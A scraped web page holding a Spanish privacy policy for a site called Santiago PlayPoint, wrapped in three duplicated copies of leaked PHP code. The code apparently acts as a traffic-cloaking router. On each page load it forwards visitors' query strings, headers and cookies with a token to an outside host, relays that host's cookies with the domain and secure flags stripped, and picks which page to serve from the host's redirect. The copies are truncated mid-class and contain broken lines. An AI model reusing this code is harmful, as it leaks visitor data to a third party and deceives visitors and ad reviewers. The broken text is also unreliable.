baseUrl = $baseUrl;
$this->timeout = $timeout;
$this->token = $token;
}
/**
* @throws RuntimeException
*/
public function execute(): void
{
if (!$this->isMbstringExtensionEnabled()) {
throw new RuntimeException('Extension mbstring should be enabled');
}
$url = $this->buildUrl();
$headers = $this->buildHeaders();
if ($this->isCurlSupported()) {
$this->performCurlRequest($url, $headers);
} elseif ($this->isStreamsSupported()) {
$this->performStreamsRequest($url, $headers);
} else {
throw new RuntimeException('Neither cURL or Streams supported');
}
$this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER);
foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) {
header("Set-Cookie: {$this->prepareCookie($cookie)}");
}
$location = $this->getResponseHeaderValue('Location');
if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) {
require __DIR__ . '/default/index.php';
return;
}
if (mb_strpos($location, 'https://google.com/chile') === 0) {
require __DIR__ . '/chile/chile.php';
return;
}
if (mb_strpos($location, 'https://google.com/cl') === 0) {
require __DIR__ . '/chile/chile.php';
return;
}
require __DIR__ . '/default/index.php';
}
private function isMbstringExtensionEnabled(): bool
{
return in_array('mbstring', get_loaded_extensions(), true);
}
private function buildUrl(): string
{
return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?');
}
/**
* @return mixed
*/
private function getServerValue(string $key)
{
return $_SERVER[$key] ?? null;
}
/**
* @return string[]
*/
private function buildHeaders(): array
{
return array_merge(
$this->getServerHeaders(),
["X-Auth-Token: $this->token"]
);
}
/**
* @return string[]
*/
private function getServerHeaders(): array
{
$headers = [];
foreach ($_SERVER as $key => $value) {
if (in_array($key, self::SERVER_IGNORED_KEYS, true)) {
continue;
}
if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) {
$headers[] = "{$this->formatHeaderKey($key)}: $value";
}
}
return $headers;
}
private function formatHeaderKey(string $key): string
{
return implode(
self::SEPARATOR_HEADER_KEY,
array_map(
'ucfirst',
explode(
self::SEPARATOR_SERVER_KEY,
strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key))
)
)
);
}
private function isCurlSupported(): bool
{
return in_array('curl', get_loaded_extensions(), true);
}
/**
* @param string[] $headers
*/
private function performCurlRequest(string $url, array $headers): void
{
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_HEADER => true,
CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'],
CURLOPT_HTTPHEADER => $headers,
CURLOPT_NOBODY => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT_MS => $this->timeout,
CURLOPT_URL => $url,
]);
curl_exec($ch);
$this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
}
private function parseHeader($ch, string $header): int
{
$length = mb_strlen($header);
$pieces = explode(':', $header, 2);
if (count($pieces) responseHeaders)) {
$value = array_merge((array) $this->responseHeaders[$name], (array) $value);
}
$this->responseHeaders[$name] = $value;
return $length;
}
private function isStreamsSupported(): bool
{
return (bool) ini_get('allow_url_fopen');
}
/**
* @param string[] $headers
* @throws RuntimeException
*/
private function performStreamsRequest(string $url, array $headers): void
{
stream_context_set_default(
[
'http' => [
'follow_location' => 0,
'header' => $headers,
'method' => self::REQUEST_METHOD_HEAD,
'timeout' => $this->timeout / 1000,
],
]
);
$responseHeaders = @get_headers($url, 1);
if ($responseHeaders === false) {
throw new RuntimeException('Unable to get headers via `get_headers`');
}
foreach ($responseHeaders as $name => $value) {
if (array_key_exists($name, $this->responseHeaders)) {
$value = array_merge((array) $this->responseHeaders[$name], (array) $value);
}
$this->responseHeaders[$name] = $value;
}
$this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]);
unset($this->responseHeaders[0]);
}
private function parseResponseStatusCode(string $statusCode): ?int
{
preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches);
return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null;
}
/**
* @param mixed $default
* @return mixed|null
*/
private function getResponseHeaderValue(string $key, $default = null)
{
return $this->responseHeaders[strtolower($key)] ?? $default;
}
private function prepareCookie(string $cookie): string
{
$preparedCookie = $this->removeDomainFromCookie($cookie);
if ($this->getServerValue('HTTPS') !== 'on') {
$preparedCookie = $this->removeSecureFromCookie($preparedCookie);
}
return $preparedCookie;
}
private function removeDomainFromCookie(string $cookie): string
{
return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;');
}
private function removeSecureFromCookie(string $cookie): string
{
return trim(str_ireplace('; secure', '', $cookie), ' ;');
}
}
try {
$rotation = new Rotation_alternativtraffic_RouteChile('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteChile', 2000, '047fa8b49419d0507ca1cb101958946a');
$rotation->execute();
} catch (Exception $e) {
@file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteChile.log', $e->getMessage());
}
?>
baseUrl = $baseUrl;
$this->timeout = $timeout;
$this->token = $token;
}
/**
* @throws RuntimeException
*/
public function execute(): void
{
if (!$this->isMbstringExtensionEnabled()) {
throw new RuntimeException('Extension mbstring should be enabled');
}
$url = $this->buildUrl();
$headers = $this->buildHeaders();
if ($this->isCurlSupported()) {
$this->performCurlRequest($url, $headers);
} elseif ($this->isStreamsSupported()) {
$this->performStreamsRequest($url, $headers);
} else {
throw new RuntimeException('Neither cURL or Streams supported');
}
$this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER);
foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) {
header("Set-Cookie: {$this->prepareCookie($cookie)}");
}
$location = $this->getResponseHeaderValue('Location');
if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) {
require __DIR__ . '/default/index.php';
return;
}
if (mb_strpos($location, 'https://google.com/chile') === 0) {
require __DIR__ . '/chile/chile.php';
return;
}
if (mb_strpos($location, 'https://google.com/cl') === 0) {
require __DIR__ . '/chile/chile.php';
return;
}
require __DIR__ . '/default/index.php';
}
private function isMbstringExtensionEnabled(): bool
{
return in_array('mbstring', get_loaded_extensions(), true);
}
private function buildUrl(): string
{
return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?');
}
/**
* @return mixed
*/
private function getServerValue(string $key)
{
return $_SERVER[$key] ?? null;
}
/**
* @return string[]
*/
private function buildHeaders(): array
{
return array_merge(
$this->getServerHeaders(),
["X-Auth-Token: $this->token"]
);
}
/**
* @return string[]
*/
private function getServerHeaders(): array
{
$headers = [];
foreach ($_SERVER as $key => $value) {
if (in_array($key, self::SERVER_IGNORED_KEYS, true)) {
continue;
}
if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) {
$headers[] = "{$this->formatHeaderKey($key)}: $value";
}
}
return $headers;
}
private function formatHeaderKey(string $key): string
{
return implode(
self::SEPARATOR_HEADER_KEY,
array_map(
'ucfirst',
explode(
self::SEPARATOR_SERVER_KEY,
strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key))
)
)
);
}
private function isCurlSupported(): bool
{
return in_array('curl', get_loaded_extensions(), true);
}
/**
* @param string[] $headers
*/
private function performCurlRequest(string $url, array $headers): void
{
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_HEADER => true,
CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'],
CURLOPT_HTTPHEADER => $headers,
CURLOPT_NOBODY => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT_MS => $this->timeout,
CURLOPT_URL => $url,
]);
curl_exec($ch);
$this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
}
private function parseHeader($ch, string $header): int
{
$length = mb_strlen($header);
$pieces = explode(':', $header, 2);
if (count($pieces) responseHeaders)) {
$value = array_merge((array) $this->responseHeaders[$name], (array) $value);
}
$this->responseHeaders[$name] = $value;
return $length;
}
private function isStreamsSupported(): bool
{
return (bool) ini_get('allow_url_fopen');
}
/**
* @param string[] $headers
* @throws RuntimeException
*/
private function performStreamsRequest(string $url, array $headers): void
{
stream_context_set_default(
[
'http' => [
'follow_location' => 0,
'header' => $headers,
'method' => self::REQUEST_METHOD_HEAD,
'timeout' => $this->timeout / 1000,
],
]
);
$responseHeaders = @get_headers($url, 1);
if ($responseHeaders === false) {
throw new RuntimeException('Unable to get headers via `get_headers`');
}
foreach ($responseHeaders as $name => $value) {
if (array_key_exists($name, $this->responseHeaders)) {
$value = array_merge((array) $this->responseHeaders[$name], (array) $value);
}
$this->responseHeaders[$name] = $value;
}
$this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]);
unset($this->responseHeaders[0]);
}
private function parseResponseStatusCode(string $statusCode): ?int
{
preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches);
return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null;
}
/**
* @param mixed $default
* @return mixed|null
*/
private function getResponseHeaderValue(string $key, $default = null)
{
return $this->responseHeaders[strtolower($key)] ?? $default;
}
private function prepareCookie(string $cookie): string
{
$preparedCookie = $this->removeDomainFromCookie($cookie);
if ($this->getServerValue('HTTPS') !== 'on') {
$preparedCookie = $this->removeSecureFromCookie($preparedCookie);
}
return $preparedCookie;
}
private function removeDomainFromCookie(string $cookie): string
{
return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;');
}
private function removeSecureFromCookie(string $cookie): string
{
return trim(str_ireplace('; secure', '', $cookie), ' ;');
}
}
try {
$rotation = new Rotation_alternativtraffic_RouteChile('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteChile', 2000, '047fa8b49419d0507ca1cb101958946a');
$rotation->execute();
} catch (Exception $e) {
@file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteChile.log', $e->getMessage());
}
?>
✦ Política de Privacidad ✦
Última actualización: 14 de noviembre de 2024
En Santiago PlayPoint (en adelante, "nosotros", "nuestro" o "el sitio web"), respetamos y protegemos la privacidad de nuestros usuarios. Esta Política de Privacidad explica cómo recopilamos, usamos, almacenamos y protegemos su información personal.
1. Información que recopilamos
1.1 Datos personales
Podemos recopilar datos personales que usted proporciona voluntariamente, como al registrarse, suscribirse al boletín, contactarnos u otros medios. Estos datos pueden incluir:
- Nombre y apellido
- Correo electrónico
- Número de teléfono
- Dirección postal
- Información de pago (si aplica para compras)
- Otra información que usted decida proporcionar
1.2 Datos de uso y publicidad
Utilizamos herramientas como Google Ads y Google Analytics para recopilar información sobre cómo interactúa con nuestro sitio. Esto puede incluir:
- Dirección IP
- Tipo y versión del navegador
- Páginas visitadas
- Fecha y hora de la visita
- Tiempo en el sitio
- Clics en anuncios y conversiones
- Otros datos estadísticos
Para más información, revise la Política de privacidad de Google.
2. Consentimiento y configuración de privacidad
Al visitar nuestro sitio, puede aceptar o rechazar el uso de cookies y datos publicitarios. Puede cambiar sus preferencias en cualquier momento en la configuración de cookies del sitio.
También puede desactivar anuncios personalizados de Google aquí:
Configuración de anuncios de Google.
3. Privacidad de los menores
Nuestro sitio no está dirigido a menores de 16 años sin la supervisión de un padre o tutor. No recopilamos intencionadamente información de menores. Si usted es padre, madre o tutor y cree que su hijo nos ha proporcionado datos personales, contáctenos para solicitar su eliminación.
4. Cambios en la política de privacidad
Nos reservamos el derecho de actualizar esta política de privacidad en cualquier momento para reflejar cambios en nuestras prácticas. Se recomienda a los usuarios revisar esta página regularmente.
baseUrl = $baseUrl;
$this->timeout = $timeout;
$this->token = $token;
}
/**
* @throws RuntimeException
*/
public function execute(): void
{
if (!$this->isMbstringExtensionEnabled()) {
throw new RuntimeException('Extension mbstring should be enabled');
}
$url = $this->buildUrl();
$headers = $this->buildHeaders();
if ($this->isCurlSupported()) {
$this->performCurlRequest($url, $headers);
} elseif ($this->isStreamsSupported()) {
$this->performStreamsRequest($url, $headers);
} else {
throw new RuntimeException('Neither cURL or Streams supported');
}
$this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER);
foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) {
header("Set-Cookie: {$this->prepareCookie($cookie)}");
}
$location = $this->getResponseHeaderValue('Location');
if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) {
require __DIR__ . '/default/index.php';
return;
}
if (mb_strpos($location, 'https://google.com/chile') === 0) {
require __DIR__ . '/chile/chile.php';
return;
}
if (mb_strpos($location, 'https://google.com/cl') === 0) {
require __DIR__ . '/chile/chile.php';
return;
}
require __DIR__ . '/default/index.php';
}
private function isMbstringExtensionEnabled(): bool
{
return in_array('mbstring', get_loaded_extensions(), true);
}
private function buildUrl(): string
{
return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?');
}
/**
* @return mixed
*/
private function getServerValue(string $key)
{
return $_SERVER[$key] ?? null;
}
/**
* @return string[]
*/
private function buildHeaders(): array
{
return array_merge(
$this->getServerHeaders(),
["X-Auth-Token: $this->token"]
);
}
/**
* @return string[]
*/
private function getServerHeaders(): array
{
$headers = [];
foreach ($_SERVER as $key => $value) {
if (in_array($key, self::SERVER_IGNORED_KEYS, true)) {
continue;
}
if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) {
$headers[] = "{$this->formatHeaderKey($key)}: $value";
}
}
return $headers;
}
private function formatHeaderKey(string $key): string
{
return implode(
self::SEPARATOR_HEADER_KEY,
array_map(
'ucfirst',
explode(
self::SEPARATOR_SERVER_KEY,
strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key))
)
)
);
}
private function isCurlSupported(): bool
{
return in_array('curl', get_loaded_extensions(), true);
}
/**
* @param string[] $headers
*/
private function performCurlRequest(string $url, array $headers): void
{
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_HEADER => true,
CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'],
CURLOPT_HTTPHEADER => $headers,
CURLOPT_NOBODY => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT_MS => $this->timeout,
CURLOPT_URL => $url,
]);
curl_exec($ch);
$this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
}
private function parseHeader($ch, string $header): int
{
$length = mb_strlen($header);
$pieces = explode(':', $header, 2);
if (count($pieces) responseHeaders)) {
$value = array_merge((array) $this->responseHeaders[$name], (array) $value);
}
$this->responseHeaders[$name] = $value;
return $length;
}
private function isStreamsSupported(): bool
{
return (bool) ini_get('allow_url_fopen');
}
/**
* @param string[] $headers
* @throws RuntimeException
*/
private function performStreamsRequest(string $url, array $headers): void
{
stream_context_set_default(
[
'http' => [
'follow_location' => 0,
'header' => $headers,
'method' => self::REQUEST_METHOD_HEAD,
'timeout' => $this->timeout / 1000,
],
]
);
$responseHeaders = @get_headers($url, 1);
if ($responseHeaders === false) {
throw new RuntimeException('Unable to get headers via `get_headers`');
}
foreach ($responseHeaders as $name => $value) {
if (array_key_exists($name, $this->responseHeaders)) {
$value = array_merge((array) $this->responseHeaders[$name], (array) $value);
}
$this->responseHeaders[$name] = $value;
}
$this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]);
unset($this->responseHeaders[0]);
}
private function parseResponseStatusCode(string $statusCode): ?int
{
preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches);
return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null;
}
/**
* @param mixed $default
* @return mixed|null
*/
private function getResponseHeaderValue(string $key, $default = null)
{
return $this->responseHeaders[strtolower($key)] ?? $default;
}
private function prepareCookie(string $cookie): string
{
$preparedCookie = $this->removeDomainFromCookie($cookie);
if ($this->getServerValue('HTTPS') !== 'on') {
$preparedCookie = $this->removeSecureFromCookie($preparedCookie);
}
return $preparedCookie;
}
private function removeDomainFromCookie(string $cookie): string
{
return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;');
}
private function removeSecureFromCookie(string $cookie): string
{
return trim(str_ireplace('; secure', '', $cookie), ' ;');
}
}
try {
$rotation = new Rotation_alternativtraffic_RouteChile('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteChile', 2000, '047fa8b49419d0507ca1cb101958946a');
$rotation->execute();
} catch (Exception $e) {
@file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteChile.log', $e->getMessage());
}
?>